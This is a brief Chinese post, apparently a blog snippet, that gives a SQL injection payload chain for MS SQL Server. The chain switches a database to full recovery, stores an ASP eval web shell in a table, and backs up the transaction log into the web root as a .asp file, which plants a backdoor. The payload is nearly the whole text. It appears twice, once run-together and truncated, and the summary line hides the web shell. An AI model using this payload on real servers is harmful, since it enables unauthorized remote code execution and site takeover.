备份提权，攻击心酸。

摘要

我要把数据库改成完全恢复模式，然后创建一个名为”aimage”的表，最后备份日志到磁盘。

正文

【摘要】;alterdatabasexxxxsetRECOVERYFULL–;createtablecmd(aimage)–;backuplogxxxxtodisk=’d:/web/1.bak’withinit–;insertintocmd(a)v… ;alter database xxxx set RECOVERY FULL– ;create table cmd (a image)– ;backup log xxxx to disk = ‘d:/web/1.bak’ with init– ;insert into cmd (a) values (‘<% eval request(123) %>’)– ;backup log xxxx to disk = ‘d:/web/2.asp’–

关注不迷路